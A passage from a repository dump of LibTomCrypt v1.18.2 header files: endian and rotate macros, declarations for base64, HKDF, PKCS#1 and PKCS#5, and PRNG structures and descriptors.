129 | (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
130 | (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
131 | (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
132 |
133 | #define LOAD64H(x, y) \
134 | do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \
135 | (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \
136 | (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \
137 | (((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0)
138 |
139 | #endif
140 |
141 | #ifdef ENDIAN_32BITWORD
142 |
143 | #define STORE32L(x, y) \
144 | do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
145 |
146 | #define LOAD32L(x, y) \
147 | do { XMEMCPY(&(x), y, 4); } while(0)
148 |
149 | #define STORE64L(x, y) \
150 | do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
151 | (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
152 | (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
153 | (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
154 |
155 | #define LOAD64L(x, y) \
156 | do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \
157 | (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \
158 | (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \
159 | (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
160 |
161 | #else /* 64-bit words then */
162 |
163 | #define STORE32L(x, y) \
164 | do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
165 |
166 | #define LOAD32L(x, y) \
167 | do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0)
168 |
169 | #define STORE64L(x, y) \
170 | do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0)
171 |
172 | #define LOAD64L(x, y) \
173 | do { XMEMCPY(&(x), y, 8); } while(0)
174 |
175 | #endif /* ENDIAN_64BITWORD */
176 |
177 | #elif defined(ENDIAN_BIG)
178 |
179 | #define STORE32L(x, y) \
180 | do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
181 | (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
182 |
183 | #define LOAD32L(x, y) \
184 | do { x = ((ulong32)((y)[3] & 255)<<24) | \
185 | ((ulong32)((y)[2] & 255)<<16) | \
186 | ((ulong32)((y)[1] & 255)<<8) | \
187 | ((ulong32)((y)[0] & 255)); } while(0)
188 |
189 | #define STORE64L(x, y) \
190 | do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
191 | (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
192 | (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
193 | (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
194 |
195 | #define LOAD64L(x, y) \
196 | do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48) | \
197 | (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32) | \
198 | (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16) | \
199 | (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
200 |
201 | #ifdef ENDIAN_32BITWORD
202 |
203 | #define STORE32H(x, y) \
204 | do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
205 |
206 | #define LOAD32H(x, y) \
207 | do { XMEMCPY(&(x), y, 4); } while(0)
208 |
209 | #define STORE64H(x, y) \
210 | do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
211 | (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
212 | (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
213 | (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
214 |
215 | #define LOAD64H(x, y) \
216 | do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48)| \
217 | (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32)| \
218 | (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16)| \
219 | (((ulong64)((y)[6] & 255))<<8)| (((ulong64)((y)[7] & 255))); } while(0)
220 |
221 | #else /* 64-bit words then */
222 |
223 | #define STORE32H(x, y) \
224 | do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0)
225 |
226 | #define LOAD32H(x, y) \
227 | do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0)
228 |
229 | #define STORE64H(x, y) \
230 | do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0)
231 |
232 | #define LOAD64H(x, y) \
233 | do { XMEMCPY(&(x), y, 8); } while(0)
234 |
235 | #endif /* ENDIAN_64BITWORD */
236 | #endif /* ENDIAN_BIG */
237 |
238 | #define BSWAP(x) ( ((x>>24)&0x000000FFUL) | ((x<<24)&0xFF000000UL) | \
239 | ((x>>8)&0x0000FF00UL) | ((x<<8)&0x00FF0000UL) )
240 |
241 |
242 | /* 32-bit Rotates */
243 | #if defined(_MSC_VER)
244 | #define LTC_ROx_ASM
245 |
246 | /* instrinsic rotate */
247 | #include
248 | #pragma intrinsic(_lrotr,_lrotl)
249 | #define ROR(x,n) _lrotr(x,n)
250 | #define ROL(x,n) _lrotl(x,n)
251 | #define RORc(x,n) _lrotr(x,n)
252 | #define ROLc(x,n) _lrotl(x,n)
253 |
254 | #elif !defined(__STRICT_ANSI__) && defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) && !defined(INTEL_CC) && !defined(LTC_NO_ASM)
255 | #define LTC_ROx_ASM
256 |
257 | static inline ulong32 ROL(ulong32 word, int i)
258 | {
259 | asm ("roll %%cl,%0"
260 | :"=r" (word)
261 | :"0" (word),"c" (i));
262 | return word;
263 | }
264 |
265 | static inline ulong32 ROR(ulong32 word, int i)
266 | {
267 | asm ("rorl %%cl,%0"
268 | :"=r" (word)
269 | :"0" (word),"c" (i));
270 | return word;
271 | }
272 |
273 | #ifndef LTC_NO_ROLC
274 |
275 | #define ROLc(word,i) ({ \
276 | ulong32 __ROLc_tmp = (word); \
277 | __asm__ ("roll %2, %0" : \
278 | "=r" (__ROLc_tmp) : \
279 | "0" (__ROLc_tmp), \
280 | "I" (i)); \
281 | __ROLc_tmp; \
282 | })
283 | #define RORc(word,i) ({ \
284 | ulong32 __RORc_tmp = (word); \
285 | __asm__ ("rorl %2, %0" : \
286 | "=r" (__RORc_tmp) : \
287 | "0" (__RORc_tmp), \
288 | "I" (i)); \
289 | __RORc_tmp; \
290 | })
291 |
292 | #else
293 |
294 | #define ROLc ROL
295 | #define RORc ROR
296 |
297 | #endif
298 |
299 | #elif !defined(__STRICT_ANSI__) && defined(LTC_PPC32)
300 | #define LTC_ROx_ASM
301 |
302 | static inline ulong32 ROL(ulong32 word, int i)
303 | {
304 | asm ("rotlw %0,%0,%2"
305 | :"=r" (word)
306 | :"0" (word),"r" (i));
307 | return word;
308 | }
309 |
310 | static inline ulong32 ROR(ulong32 word, int i)
311 | {
312 | asm ("rotlw %0,%0,%2"
313 | :"=r" (word)
314 | :"0" (word),"r" (32-i));
315 | return word;
316 | }
317 |
318 | #ifndef LTC_NO_ROLC
319 |
320 | static inline ulong32 ROLc(ulong32 word, const int i)
321 | {
322 | asm ("rotlwi %0,%0,%2"
323 | :"=r" (word)
324 | :"0" (word),"I" (i));
325 | return word;
326 | }
327 |
328 | static inline ulong32 RORc(ulong32 word, const int i)
329 | {
330 | asm ("rotrwi %0,%0,%2"
331 | :"=r" (word)
332 | :"0" (word),"I" (i));
333 | return word;
334 | }
335 |
336 | #else
337 |
338 | #define ROLc ROL
339 | #define RORc ROR
340 |
341 | #endif
342 |
343 |
344 | #else
345 |
346 | /* rotates the hard way */
347 | #define ROL(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
348 | #define ROR(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
349 | #define ROLc(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
350 | #define RORc(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL)
351 |
352 | #endif
353 |
354 |
355 | /* 64-bit Rotates */
356 | #if !defined(__STRICT_ANSI__) && defined(__GNUC__) && defined(__x86_64__) && !defined(_WIN64) && !defined(LTC_NO_ASM)
357 |
358 | static inline ulong64 ROL64(ulong64 word, int i)
359 | {
360 | asm("rolq %%cl,%0"
361 | :"=r" (word)
362 | :"0" (word),"c" (i));
363 | return word;
364 | }
365 |
366 | static inline ulong64 ROR64(ulong64 word, int i)
367 | {
368 | asm("rorq %%cl,%0"
369 | :"=r" (word)
370 | :"0" (word),"c" (i));
371 | return word;
372 | }
373 |
374 | #ifndef LTC_NO_ROLC
375 |
376 | #define ROL64c(word,i) ({ \
377 | ulong64 __ROL64c_tmp = word; \
378 | __asm__ ("rolq %2, %0" : \
379 | "=r" (__ROL64c_tmp) : \
380 | "0" (__ROL64c_tmp), \
381 | "J" (i)); \
382 | __ROL64c_tmp; \
383 | })
384 | #define ROR64c(word,i) ({ \
385 | ulong64 __ROR64c_tmp = word; \
386 | __asm__ ("rorq %2, %0" : \
387 | "=r" (__ROR64c_tmp) : \
388 | "0" (__ROR64c_tmp), \
389 | "J" (i)); \
390 | __ROR64c_tmp; \
391 | })
392 |
393 | #else /* LTC_NO_ROLC */
394 |
395 | #define ROL64c ROL64
396 | #define ROR64c ROR64
397 |
398 | #endif
399 |
400 | #else /* Not x86_64 */
401 |
402 | #define ROL64(x, y) \
403 | ( (((x)<<((ulong64)(y)&63)) | \
404 | (((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
405 |
406 | #define ROR64(x, y) \
407 | ( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \
408 | ((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
409 |
410 | #define ROL64c(x, y) \
411 | ( (((x)<<((ulong64)(y)&63)) | \
412 | (((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
413 |
414 | #define ROR64c(x, y) \
415 | ( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \
416 | ((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF))
417 |
418 | #endif
419 |
420 | #ifndef MAX
421 | #define MAX(x, y) ( ((x)>(y))?(x):(y) )
422 | #endif
423 |
424 | #ifndef MIN
425 | #define MIN(x, y) ( ((x)<(y))?(x):(y) )
426 | #endif
427 |
428 | #ifndef LTC_UNUSED_PARAM
429 | #define LTC_UNUSED_PARAM(x) (void)(x)
430 | #endif
431 |
432 | /* extract a byte portably */
433 | #ifdef _MSC_VER
434 | #define byte(x, n) ((unsigned char)((x) >> (8 * (n))))
435 | #else
436 | #define byte(x, n) (((x) >> (8 * (n))) & 255)
437 | #endif
438 |
439 | /* there is no snprintf before Visual C++ 2015 */
440 | #if defined(_MSC_VER) && _MSC_VER < 1900
441 | #define snprintf _snprintf
442 | #endif
443 |
444 | /* ref: HEAD -> master, tag: v1.18.2 */
445 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
446 | /* commit time: 2018-07-01 22:49:01 +0200 */
447 |
--------------------------------------------------------------------------------
/tomcrypt_misc.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* ---- LTC_BASE64 Routines ---- */
11 | #ifdef LTC_BASE64
12 | int base64_encode(const unsigned char *in, unsigned long len,
13 | unsigned char *out, unsigned long *outlen);
14 |
15 | int base64_decode(const unsigned char *in, unsigned long len,
16 | unsigned char *out, unsigned long *outlen);
17 | int base64_strict_decode(const unsigned char *in, unsigned long len,
18 | unsigned char *out, unsigned long *outlen);
19 | #endif
20 |
21 | #ifdef LTC_BASE64_URL
22 | int base64url_encode(const unsigned char *in, unsigned long len,
23 | unsigned char *out, unsigned long *outlen);
24 | int base64url_strict_encode(const unsigned char *in, unsigned long inlen,
25 | unsigned char *out, unsigned long *outlen);
26 |
27 | int base64url_decode(const unsigned char *in, unsigned long len,
28 | unsigned char *out, unsigned long *outlen);
29 | int base64url_strict_decode(const unsigned char *in, unsigned long len,
30 | unsigned char *out, unsigned long *outlen);
31 | #endif
32 |
33 | /* ===> LTC_HKDF -- RFC5869 HMAC-based Key Derivation Function <=== */
34 | #ifdef LTC_HKDF
35 |
36 | int hkdf_test(void);
37 |
38 | int hkdf_extract(int hash_idx,
39 | const unsigned char *salt, unsigned long saltlen,
40 | const unsigned char *in, unsigned long inlen,
41 | unsigned char *out, unsigned long *outlen);
42 |
43 | int hkdf_expand(int hash_idx,
44 | const unsigned char *info, unsigned long infolen,
45 | const unsigned char *in, unsigned long inlen,
46 | unsigned char *out, unsigned long outlen);
47 |
48 | int hkdf(int hash_idx,
49 | const unsigned char *salt, unsigned long saltlen,
50 | const unsigned char *info, unsigned long infolen,
51 | const unsigned char *in, unsigned long inlen,
52 | unsigned char *out, unsigned long outlen);
53 |
54 | #endif /* LTC_HKDF */
55 |
56 | /* ---- MEM routines ---- */
57 | int mem_neq(const void *a, const void *b, size_t len);
58 | void zeromem(volatile void *dst, size_t len);
59 | void burn_stack(unsigned long len);
60 |
61 | const char *error_to_string(int err);
62 |
63 | extern const char *crypt_build_settings;
64 |
65 | /* ---- HMM ---- */
66 | int crypt_fsa(void *mp, ...);
67 |
68 | /* ---- Dynamic language support ---- */
69 | int crypt_get_constant(const char* namein, int *valueout);
70 | int crypt_list_all_constants(char *names_list, unsigned int *names_list_size);
71 |
72 | int crypt_get_size(const char* namein, unsigned int *sizeout);
73 | int crypt_list_all_sizes(char *names_list, unsigned int *names_list_size);
74 |
75 | #ifdef LTM_DESC
76 | void init_LTM(void);
77 | #endif
78 | #ifdef TFM_DESC
79 | void init_TFM(void);
80 | #endif
81 | #ifdef GMP_DESC
82 | void init_GMP(void);
83 | #endif
84 |
85 | #ifdef LTC_ADLER32
86 | typedef struct adler32_state_s
87 | {
88 | unsigned short s[2];
89 | } adler32_state;
90 |
91 | void adler32_init(adler32_state *ctx);
92 | void adler32_update(adler32_state *ctx, const unsigned char *input, unsigned long length);
93 | void adler32_finish(adler32_state *ctx, void *hash, unsigned long size);
94 | int adler32_test(void);
95 | #endif
96 |
97 | #ifdef LTC_CRC32
98 | typedef struct crc32_state_s
99 | {
100 | ulong32 crc;
101 | } crc32_state;
102 |
103 | void crc32_init(crc32_state *ctx);
104 | void crc32_update(crc32_state *ctx, const unsigned char *input, unsigned long length);
105 | void crc32_finish(crc32_state *ctx, void *hash, unsigned long size);
106 | int crc32_test(void);
107 | #endif
108 |
109 | int compare_testvector(const void* is, const unsigned long is_len, const void* should, const unsigned long should_len, const char* what, int which);
110 |
111 | /* ref: HEAD -> master, tag: v1.18.2 */
112 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
113 | /* commit time: 2018-07-01 22:49:01 +0200 */
114 |
--------------------------------------------------------------------------------
/tomcrypt_pkcs.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* PKCS Header Info */
11 |
12 | /* ===> PKCS #1 -- RSA Cryptography <=== */
13 | #ifdef LTC_PKCS_1
14 |
15 | enum ltc_pkcs_1_v1_5_blocks
16 | {
17 | LTC_PKCS_1_EMSA = 1, /* Block type 1 (PKCS #1 v1.5 signature padding) */
18 | LTC_PKCS_1_EME = 2 /* Block type 2 (PKCS #1 v1.5 encryption padding) */
19 | };
20 |
21 | enum ltc_pkcs_1_paddings
22 | {
23 | LTC_PKCS_1_V1_5 = 1, /* PKCS #1 v1.5 padding (\sa ltc_pkcs_1_v1_5_blocks) */
24 | LTC_PKCS_1_OAEP = 2, /* PKCS #1 v2.0 encryption padding */
25 | LTC_PKCS_1_PSS = 3, /* PKCS #1 v2.1 signature padding */
26 | LTC_PKCS_1_V1_5_NA1 = 4 /* PKCS #1 v1.5 padding - No ASN.1 (\sa ltc_pkcs_1_v1_5_blocks) */
27 | };
28 |
29 | int pkcs_1_mgf1( int hash_idx,
30 | const unsigned char *seed, unsigned long seedlen,
31 | unsigned char *mask, unsigned long masklen);
32 |
33 | int pkcs_1_i2osp(void *n, unsigned long modulus_len, unsigned char *out);
34 | int pkcs_1_os2ip(void *n, unsigned char *in, unsigned long inlen);
35 |
36 | /* *** v1.5 padding */
37 | int pkcs_1_v1_5_encode(const unsigned char *msg,
38 | unsigned long msglen,
39 | int block_type,
40 | unsigned long modulus_bitlen,
41 | prng_state *prng,
42 | int prng_idx,
43 | unsigned char *out,
44 | unsigned long *outlen);
45 |
46 | int pkcs_1_v1_5_decode(const unsigned char *msg,
47 | unsigned long msglen,
48 | int block_type,
49 | unsigned long modulus_bitlen,
50 | unsigned char *out,
51 | unsigned long *outlen,
52 | int *is_valid);
53 |
54 | /* *** v2.1 padding */
55 | int pkcs_1_oaep_encode(const unsigned char *msg, unsigned long msglen,
56 | const unsigned char *lparam, unsigned long lparamlen,
57 | unsigned long modulus_bitlen, prng_state *prng,
58 | int prng_idx, int hash_idx,
59 | unsigned char *out, unsigned long *outlen);
60 |
61 | int pkcs_1_oaep_decode(const unsigned char *msg, unsigned long msglen,
62 | const unsigned char *lparam, unsigned long lparamlen,
63 | unsigned long modulus_bitlen, int hash_idx,
64 | unsigned char *out, unsigned long *outlen,
65 | int *res);
66 |
67 | int pkcs_1_pss_encode(const unsigned char *msghash, unsigned long msghashlen,
68 | unsigned long saltlen, prng_state *prng,
69 | int prng_idx, int hash_idx,
70 | unsigned long modulus_bitlen,
71 | unsigned char *out, unsigned long *outlen);
72 |
73 | int pkcs_1_pss_decode(const unsigned char *msghash, unsigned long msghashlen,
74 | const unsigned char *sig, unsigned long siglen,
75 | unsigned long saltlen, int hash_idx,
76 | unsigned long modulus_bitlen, int *res);
77 |
78 | #endif /* LTC_PKCS_1 */
79 |
80 | /* ===> PKCS #5 -- Password Based Cryptography <=== */
81 | #ifdef LTC_PKCS_5
82 |
83 | /* Algorithm #1 (PBKDF1) */
84 | int pkcs_5_alg1(const unsigned char *password, unsigned long password_len,
85 | const unsigned char *salt,
86 | int iteration_count, int hash_idx,
87 | unsigned char *out, unsigned long *outlen);
88 |
89 | /* Algorithm #1 (PBKDF1) - OpenSSL-compatible variant for arbitrarily-long keys.
90 | Compatible with EVP_BytesToKey() */
91 | int pkcs_5_alg1_openssl(const unsigned char *password,
92 | unsigned long password_len,
93 | const unsigned char *salt,
94 | int iteration_count, int hash_idx,
95 | unsigned char *out, unsigned long *outlen);
96 |
97 | /* Algorithm #2 (PBKDF2) */
98 | int pkcs_5_alg2(const unsigned char *password, unsigned long password_len,
99 | const unsigned char *salt, unsigned long salt_len,
100 | int iteration_count, int hash_idx,
101 | unsigned char *out, unsigned long *outlen);
102 |
103 | int pkcs_5_test (void);
104 | #endif /* LTC_PKCS_5 */
105 |
106 | /* ref: HEAD -> master, tag: v1.18.2 */
107 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
108 | /* commit time: 2018-07-01 22:49:01 +0200 */
109 |
--------------------------------------------------------------------------------
/tomcrypt_prng.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* ---- PRNG Stuff ---- */
11 | #ifdef LTC_YARROW
12 | struct yarrow_prng {
13 | int cipher, hash;
14 | unsigned char pool[MAXBLOCKSIZE];
15 | symmetric_CTR ctr;
16 | };
17 | #endif
18 |
19 | #ifdef LTC_RC4
20 | struct rc4_prng {
21 | rc4_state s;
22 | };
23 | #endif
24 |
25 | #ifdef LTC_CHACHA20_PRNG
26 | struct chacha20_prng {
27 | chacha_state s; /* chacha state */
28 | unsigned char ent[40]; /* entropy buffer */
29 | unsigned long idx; /* entropy counter */
30 | };
31 | #endif
32 |
33 | #ifdef LTC_FORTUNA
34 | struct fortuna_prng {
35 | hash_state pool[LTC_FORTUNA_POOLS]; /* the pools */
36 |
37 | symmetric_key skey;
38 |
39 | unsigned char K[32], /* the current key */
40 | IV[16]; /* IV for CTR mode */
41 |
42 | unsigned long pool_idx, /* current pool we will add to */
43 | pool0_len, /* length of 0'th pool */
44 | wd;
45 |
46 | ulong64 reset_cnt; /* number of times we have reset */
47 | };
48 | #endif
49 |
50 | #ifdef LTC_SOBER128
51 | struct sober128_prng {
52 | sober128_state s; /* sober128 state */
53 | unsigned char ent[40]; /* entropy buffer */
54 | unsigned long idx; /* entropy counter */
55 | };
56 | #endif
57 |
58 | typedef struct {
59 | union {
60 | char dummy[1];
61 | #ifdef LTC_YARROW
62 | struct yarrow_prng yarrow;
63 | #endif
64 | #ifdef LTC_RC4
65 | struct rc4_prng rc4;
66 | #endif
67 | #ifdef LTC_CHACHA20_PRNG
68 | struct chacha20_prng chacha;
69 | #endif
70 | #ifdef LTC_FORTUNA
71 | struct fortuna_prng fortuna;
72 | #endif
73 | #ifdef LTC_SOBER128
74 | struct sober128_prng sober128;
75 | #endif
76 | };
77 | short ready; /* ready flag 0-1 */
78 | LTC_MUTEX_TYPE(lock) /* lock */
79 | } prng_state;
80 |
81 | /** PRNG descriptor */
82 | extern struct ltc_prng_descriptor {
83 | /** Name of the PRNG */
84 | const char *name;
85 | /** size in bytes of exported state */
86 | int export_size;
87 | /** Start a PRNG state
88 | @param prng [out] The state to initialize
89 | @return CRYPT_OK if successful
90 | */
91 | int (*start)(prng_state *prng);
92 | /** Add entropy to the PRNG
93 | @param in The entropy
94 | @param inlen Length of the entropy (octets)\
95 | @param prng The PRNG state
96 | @return CRYPT_OK if successful
97 | */
98 | int (*add_entropy)(const unsigned char *in, unsigned long inlen, prng_state *prng);
99 | /** Ready a PRNG state to read from
100 | @param prng The PRNG state to ready
101 | @return CRYPT_OK if successful
102 | */
103 | int (*ready)(prng_state *prng);
104 | /** Read from the PRNG
105 | @param out [out] Where to store the data
106 | @param outlen Length of data desired (octets)
107 | @param prng The PRNG state to read from
108 | @return Number of octets read
109 | */
110 | unsigned long (*read)(unsigned char *out, unsigned long outlen, prng_state *prng);
111 | /** Terminate a PRNG state
112 | @param prng The PRNG state to terminate
113 | @return CRYPT_OK if successful
114 | */
115 | int (*done)(prng_state *prng);
116 | /** Export a PRNG state
117 | @param out [out] The destination for the state
118 | @param outlen [in/out] The max size and resulting size of the PRNG state
119 | @param prng The PRNG to export
120 | @return CRYPT_OK if successful
121 | */
122 | int (*pexport)(unsigned char *out, unsigned long *outlen, prng_state *prng);
123 | /** Import a PRNG state
124 | @param in The data to import
125 | @param inlen The length of the data to import (octets)
126 | @param prng The PRNG to initialize/import
127 | @return CRYPT_OK if successful
128 | */
129 | int (*pimport)(const unsigned char *in, unsigned long inlen, prng_state *prng);
130 | /** Self-test the PRNG
131 | @return CRYPT_OK if successful, CRYPT_NOP if self-testing has been disabled
132 | */
133 | int (*test)(void);
134 | } prng_descriptor[];
135 |
136 | #ifdef LTC_YARROW
137 | int yarrow_start(prng_state *prng);
138 | int yarrow_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
139 | int yarrow_ready(prng_state *prng);
140 | unsigned long yarrow_read(unsigned char *out, unsigned long outlen, prng_state *prng);
141 | int yarrow_done(prng_state *prng);
142 | int yarrow_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
143 | int yarrow_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
144 | int yarrow_test(void);
145 | extern const struct ltc_prng_descriptor yarrow_desc;
146 | #endif
147 |
148 | #ifdef LTC_FORTUNA
149 | int fortuna_start(prng_state *prng);
150 | int fortuna_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
151 | int fortuna_ready(prng_state *prng);
152 | unsigned long fortuna_read(unsigned char *out, unsigned long outlen, prng_state *prng);
153 | int fortuna_done(prng_state *prng);
154 | int fortuna_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
155 | int fortuna_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
156 | int fortuna_test(void);
157 | extern const struct ltc_prng_descriptor fortuna_desc;
158 | #endif
159 |
160 | #ifdef LTC_RC4
161 | int rc4_start(prng_state *prng);
162 | int rc4_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
163 | int rc4_ready(prng_state *prng);
164 | unsigned long rc4_read(unsigned char *out, unsigned long outlen, prng_state *prng);
165 | int rc4_done(prng_state *prng);
166 | int rc4_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
167 | int rc4_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
168 | int rc4_test(void);
169 | extern const struct ltc_prng_descriptor rc4_desc;
170 | #endif
171 |
172 | #ifdef LTC_CHACHA20_PRNG
173 | int chacha20_prng_start(prng_state *prng);
174 | int chacha20_prng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
175 | int chacha20_prng_ready(prng_state *prng);
176 | unsigned long chacha20_prng_read(unsigned char *out, unsigned long outlen, prng_state *prng);
177 | int chacha20_prng_done(prng_state *prng);
178 | int chacha20_prng_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
179 | int chacha20_prng_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
180 | int chacha20_prng_test(void);
181 | extern const struct ltc_prng_descriptor chacha20_prng_desc;
182 | #endif
183 |
184 | #ifdef LTC_SPRNG
185 | int sprng_start(prng_state *prng);
186 | int sprng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
187 | int sprng_ready(prng_state *prng);
188 | unsigned long sprng_read(unsigned char *out, unsigned long outlen, prng_state *prng);
189 | int sprng_done(prng_state *prng);
190 | int sprng_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
191 | int sprng_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
192 | int sprng_test(void);
193 | extern const struct ltc_prng_descriptor sprng_desc;
194 | #endif
195 |
196 | #ifdef LTC_SOBER128
197 | int sober128_start(prng_state *prng);
198 | int sober128_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
199 | int sober128_ready(prng_state *prng);
200 | unsigned long sober128_read(unsigned char *out, unsigned long outlen, prng_state *prng);
201 | int sober128_done(prng_state *prng);
202 | int sober128_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
203 | int sober128_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
204 | int sober128_test(void);
205 | extern const struct ltc_prng_descriptor sober128_desc;
206 | #endif
207 |
208 | int find_prng(const char *name);
209 | int register_prng(const struct ltc_prng_descriptor *prng);
210 | int unregister_prng(const struct ltc_prng_descriptor *prng);
211 | int register_all_prngs(void);
212 | int prng_is_valid(int idx);
213 | LTC_MUTEX_PROTO(ltc_prng_mutex)
214 |
215 | /* Slow RNG you **might** be able to use to seed a PRNG with. Be careful as this
216 | * might not work on all platforms as planned
217 | */
218 | unsigned long rng_get_bytes(unsigned char *out,
219 | unsigned long outlen,
220 | void (*callback)(void));
221 |
222 | int rng_make_prng(int bits, int wprng, prng_state *prng, void (*callback)(void));
223 |
224 | #ifdef LTC_PRNG_ENABLE_LTC_RNG
225 | extern unsigned long (*ltc_rng)(unsigned char *out, unsigned long outlen,
226 | void (*callback)(void));
227 | #endif
228 |
229 |
230 | /* ref: HEAD -> master, tag: v1.18.2 */
231 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
232 | /* commit time: 2018-07-01 22:49:01 +0200 */
233 |
--------------------------------------------------------------------------------
/tomcryptx64.lib:
--------------------------------------------------------------------------------
